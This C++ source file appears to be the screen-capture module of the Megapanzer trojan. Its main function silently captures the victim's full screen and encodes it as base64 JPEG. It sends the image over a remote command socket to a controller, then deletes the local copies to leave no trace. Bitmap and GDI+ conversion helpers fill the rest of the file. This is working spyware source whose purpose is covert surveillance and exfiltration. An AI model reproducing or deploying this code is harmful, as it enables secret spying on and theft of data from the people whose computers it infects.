#define _WIN32_WINNT 0x0501

#include <stdio.h>
#include <windows.h>
#include <winuser.h>
#include <shlwapi.h>
#include <time.h>
#include <sys/types.h>
#include <Gdiplus.h>
#include <GdiPlusEnums.h>
#include "Megapanzer_Definitions.h"


using namespace Gdiplus;


/*
 * credits go to Agha Ali Raza.
 *
 */

DWORD WINAPI sendScreenCaptureInfos (PVOID pParameter)
{
  HANDLE lFileHandle = INVALID_HANDLE_VALUE;
  SYSTEMTIME lSystemTime;
  char lBMPFileFullPath[MAX_BUF_SIZE + 1];
  char lJPGFileFullPath[MAX_BUF_SIZE + 1];
  char lJPGFileBaseName[MAX_BUF_SIZE + 1];
  char lTemporaryDirectory[MAX_BUF_SIZE + 1];
  char lCryptedFileFullPath[MAX_BUF_SIZE + 1];
  char lTemp[MAX_BUF_SIZE + 1];
  int lRetVal = 0;
  HWND hWND;
  PBITMAPINFO pbi;
  LASTINPUTINFO lInputInfo;
  int lLastError = 0;
  int lJPGFileSize = 0;
  char *lPreEncodedData = NULL;
  char *lTempBuffer = NULL;
  int lBytesRead = 0;
  int lFuncRetVal = 0;

  SIZE size;
  HDC hDC;
  HDC hMemDC;
  HBITMAP hBitmap;
  HBITMAP hOld;
  char *lEncodedData = NULL;
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;

  GetTempPath(sizeof(lTemporaryDirectory) - 1, lTemporaryDirectory);

    ////
   // last user activity
  ////


  ZeroMemory(&lInputInfo, sizeof(lInputInfo));
  lInputInfo.cbSize = sizeof(LASTINPUTINFO);

  GetLastInputInfo(&lInputInfo);



    ////
   // create timestamp
  ////

  ZeroMemory(lBMPFileFullPath, sizeof(lBMPFileFullPath));
  ZeroMemory(lJPGFileFullPath, sizeof(lJPGFileFullPath));
  ZeroMemory(&lSystemTime, sizeof(lSystemTime));
  ZeroMemory(lCryptedFileFullPath, sizeof(lCryptedFileFullPath));
  ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));

  GetLocalTime(&lSystemTime);
  snprintf(lBMPFileFullPath, sizeof(lBMPFileFullPath) - 1, "%s%04d-%02d-%02d-%02d-%02d-%02d.bmp", lTemporaryDirectory, lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);
  snprintf(lJPGFileFullPath, sizeof(lJPGFileFullPath) - 1, "%s%04d-%02d-%02d-%02d-%02d-%02d.jpg", lTemporaryDirectory, lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);
  snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);
  snprintf(lCryptedFileFullPath, sizeof(lCryptedFileFullPath) - 1, "%sSD%02d%02d%02d%02d%02d.bin", lTemporaryDirectory, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);

  ZeroMemory(lTemp, sizeof(lTemp));
  _snprintf(lTemp, sizeof(lTemp) - 1, "<printscreen>");
  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

    ////
   // dump screen
  ////


  hDC = GetDC(NULL); //Get full screen
  //Here we make a compatible device context in memory for screen device context.
  hMemDC = CreateCompatibleDC(hDC);
  //Here we get the handle to the desktop device context.
  hWND = GetDesktopWindow();

  size.cx = GetSystemMetrics(SM_CXSCREEN);
  size.cy = GetSystemMetrics(SM_CYSCREEN);


  //We create a compatible bitmap of the screen size and using the screen device context.
  if (hBitmap = CreateCompatibleBitmap(hDC, size.cx, size.cy))
  {
    //Here we select the compatible bitmap in the memeory device context and keep the refrence to the old bitmap.
    hOld = (HBITMAP) SelectObject(hMemDC, hBitmap);

    //We copy the Bitmap to the memory device context.
    BitBlt(hMemDC, 0, 0, size.cx, size.cy, hDC, 0, 0, SRCCOPY);


      ////
     // create bmp-file, convert to jpg, encrypt it, encode it to base64 and then write it into a file
    ////

    if ((pbi = CreateBitmapInfoStruct(hWND, hBitmap)) != NULL)
    {
	  if (CreateBMPFile(hWND, (LPTSTR) lBMPFileFullPath, pbi, hBitmap, hDC) == 0)
      {
        convertBMP2JPG(lBMPFileFullPath, lJPGFileFullPath);
        if ((lFileHandle = CreateFileA(lJPGFileFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
        {
          lJPGFileSize = GetFileSize(lFileHandle, 0);

            ////
           // encocd created jpg file
          ////

          if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
          {
            ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);
            CloseHandle(lFileHandle);

            if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
            {
              Base64encode(lEncodedData, lPreEncodedData, lBytesRead);

              ZeroMemory(lTemp, sizeof(lTemp));
              _snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);
              lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

              lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);

              ZeroMemory(lTemp, sizeof(lTemp));
              _snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");
              lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
            } // if ((lEncodedData = (char *) He...
          } // if ((lPreEncodedData = (char *) HeapAlloc(GetP...
        } // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...

        DeleteFile(lBMPFileFullPath);
        DeleteFile(lJPGFileFullPath);
      } // if (CreateBMPFile(hWND, lBMPFileFullPath, pbi, hBM
	} // if ((pbi = CreateBitmapInfo

    SelectObject(hMemDC, hOld);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
    DeleteObject(hBitmap);
    LocalFree(pbi);

  } // if (hBitmap = CreateCompatibleBitmap(hDC, siz...


  ZeroMemory(lTemp, sizeof(lTemp));
  _snprintf(lTemp, sizeof(lTemp) - 1, "</printscreen>");
  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);


  if (lTempBuffer) 
    HeapFree(GetProcessHeap(), 0, lTempBuffer);

  if (lEncodedData)
    HeapFree(GetProcessHeap(), 0, lEncodedData);

  if (lPreEncodedData)
    HeapFree(GetProcessHeap(), 0, lPreEncodedData);

  return(lRetVal);
}






int CreateBMPFile(HWND hwnd, LPTSTR pOutputFileName, PBITMAPINFO pbi, HBITMAP hBMP, HDC hDC) 
{ 
  HANDLE hf;                 // file handle 
  BITMAPFILEHEADER hdr;       // bitmap file-header 
  PBITMAPINFOHEADER pbih = (PBITMAPINFOHEADER) pbi;     // bitmap info-header 
  LPBYTE lpBits = NULL;       // memory pointer 
  DWORD dwTmp; 
  int lRetVal = 0;
  HANDLE lFileHandle = INVALID_HANDLE_VALUE;
  DWORD lBytesWritten = 0;
  char lTemp[MAX_BUF_SIZE + 1];


  if (!(lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage)))
  {
    lpBits = NULL;
    lRetVal = 1;
    goto END;
  }

  // Retrieve the color table (RGBQUAD array) and the bits (array of palette indices) from the DIB. 
  if (!GetDIBits(hDC, hBMP, 0, (WORD) pbih->biHeight, lpBits, pbi, DIB_RGB_COLORS)) 
  {
    lRetVal = 2;
    goto END;
  }

  if ((lFileHandle = CreateFile(pOutputFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
  {
    lRetVal = 3;
    goto END;
  }


  hdr.bfType = 0x4d42;        // 0x42 = "B" 0x4d = "M" 
  // Compute the size of the entire file. 
  hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof(RGBQUAD) + pbih->biSizeImage); 
  hdr.bfReserved1 = 0; 
  hdr.bfReserved2 = 0; 

  // Compute the offset to the array of color indices. 
  hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed  * sizeof (RGBQUAD); 

  // Copy the BITMAPFILEHEADER into the .BMP file. 
  WriteFile(lFileHandle, &hdr, sizeof(BITMAPFILEHEADER), &lBytesWritten, NULL);
  // Copy the BITMAPINFOHEADER and RGBQUAD array into the file. 
  WriteFile(lFileHandle, pbih, sizeof(BITMAPINFOHEADER) + pbih->biClrUsed * sizeof (RGBQUAD), &lBytesWritten, NULL);
  // Copy the array of color indices into the .BMP file. 
  WriteFile(lFileHandle, lpBits, pbih->biSizeImage, &lBytesWritten, NULL);
END:

  // Free memory. 
  if (lpBits != NULL)
    GlobalFree((HGLOBAL) lpBits);

  if (lFileHandle != INVALID_HANDLE_VALUE)
    CloseHandle(lFileHandle);

  return(lRetVal);
}




PBITMAPINFO CreateBitmapInfoStruct(HWND hwnd, HBITMAP hBmp)
{ 
  BITMAP bmp; 
  PBITMAPINFO pbmi = NULL; 
  WORD    cClrBits; 
  int lRetVal = 0;


  // Retrieve the bitmap color format, width, and height. 
  if (!GetObject(hBmp, sizeof(BITMAP), (LPSTR)&bmp)) 
  {
    lRetVal = 1;
    goto END;
  }

  // Convert the color format to a count of bits. 
  cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel); 
  if (cClrBits == 1) 
    cClrBits = 1; 
  else if (cClrBits <= 4) 
    cClrBits = 4; 
  else if (cClrBits <= 8) 
    cClrBits = 8; 
  else if (cClrBits <= 16) 
    cClrBits = 16; 
  else if (cClrBits <= 24) 
    cClrBits = 24; 
  else cClrBits = 32; 

  // Allocate memory for the BITMAPINFO structure. (This structure 
  // contains a BITMAPINFOHEADER structure and an array of RGBQUAD 
  // data structures.) 

  if (cClrBits != 24) // GetProcessHeap(), HEAP_ZERO_MEMORY, lArraySize
    pbmi = (PBITMAPINFO) LocalAlloc(LPTR,sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1<< cClrBits));

  // There is no RGBQUAD array for the 24-bit-per-pixel format. 
  else 
    pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER));

  // Initialize the fields in the BITMAPINFO structure. 

  pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); 
  pbmi->bmiHeader.biWidth = bmp.bmWidth; 
  pbmi->bmiHeader.biHeight = bmp.bmHeight; 
  pbmi->bmiHeader.biPlanes = bmp.bmPlanes; 
  pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel; 

  if (cClrBits < 24) 
    pbmi->bmiHeader.biClrUsed = (1<<cClrBits); 

  // If the bitmap is not compressed, set the BI_RGB flag. 
  pbmi->bmiHeader.biCompression = BI_RGB; 

  // Compute the number of bytes in the array of color 
  // indices and store the result in biSizeImage. 
  // For Windows NT, the width must be DWORD aligned unless 
  // the bitmap is RLE compressed. This example shows this. 
  // For Windows 95/98/Me, the width must be WORD aligned unless the 
  // bitmap is RLE compressed.
  pbmi->bmiHeader.biSizeImage = ((pbmi->bmiHeader.biWidth * cClrBits +31) & ~31) /8 * pbmi->bmiHeader.biHeight; 
  // Set biClrImportant to 0, indicating that all of the 
  // device colors are important. 
  pbmi->bmiHeader.biClrImportant = 0; 

END:

  return(pbmi); 
}





int convertBMP2JPG(char *pBMPFile, char *pJPGFile)
{
  CLSID lCodecClsid;
  EncoderParameters lEncoderParameters;
  long lQuality = 80;
  GdiplusStartupInput lGdiplusStartupInput;
  ULONG lGdiplusToken;
  WCHAR lWCBMPFile[MAX_BUF_SIZE + 1];
  WCHAR lWCJPGFile[MAX_BUF_SIZE + 1];
  int lRetVal = 0;


  ZeroMemory(lWCBMPFile, sizeof(lWCBMPFile));
  ZeroMemory(lWCBMPFile, sizeof(lWCJPGFile));

  mbstowcs(lWCBMPFile, pBMPFile, sizeof(lWCBMPFile) / sizeof(WCHAR));
  mbstowcs(lWCJPGFile, pJPGFile, sizeof(lWCJPGFile) / sizeof(WCHAR));

  GdiplusStartup(&lGdiplusToken, &lGdiplusStartupInput, NULL);
  {
    Image image(lWCBMPFile);

    // Get the CLSID of the JPEG codec.
    if (GetCodecClsid(L"image/jpeg", &lCodecClsid) >= 0)
	{
      lEncoderParameters.Count = 1;
      lEncoderParameters.Parameter[0].Guid = EncoderQuality;
      lEncoderParameters.Parameter[0].Type = EncoderParameterValueTypeLong;
      lEncoderParameters.Parameter[0].NumberOfValues = 1;
      lEncoderParameters.Parameter[0].Value = &lQuality;

      if (image.Save(lWCJPGFile, &lCodecClsid, &lEncoderParameters) != Ok)
        lRetVal = 1;
	} // if (GetCodecClsid(L"image/jpeg", &lCodecClsid) >= 0)
  }

  GdiplusShutdown(lGdiplusToken);

  return(lRetVal);
}




int GetCodecClsid(const WCHAR* pFormat, CLSID* pClsid)
{
  UINT lNumberOfEncoders = 0;
  UINT lArraySize = 0;
  ImageCodecInfo* lImageCodecInfo = NULL;
  int lRetVal = 0;
  int lCounter = 0;

  GetImageEncodersSize(&lNumberOfEncoders, &lArraySize);
  if(lArraySize == 0)
  {
    lRetVal = -1;
    goto END;
  }


  if ((lImageCodecInfo = (ImageCodecInfo*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lArraySize)) == NULL)
  {
    lRetVal = -2;
    goto END;
  }

  GetImageEncoders(lNumberOfEncoders, lArraySize, lImageCodecInfo);

  for(lCounter = 0; lCounter < lNumberOfEncoders; ++lCounter)
  {
    if(wcscmp(lImageCodecInfo[lCounter].MimeType, pFormat) == 0 )
    {
      *pClsid = lImageCodecInfo[lCounter].Clsid;
      lRetVal = lCounter;  // Success
      goto END;
    } // if(wcscmp(lImageC...
  } // for(lCounter = 0; lCounter < lNu

END:
  if (lImageCodecInfo != NULL)
    free(lImageCodecInfo);


  return(lRetVal);
}

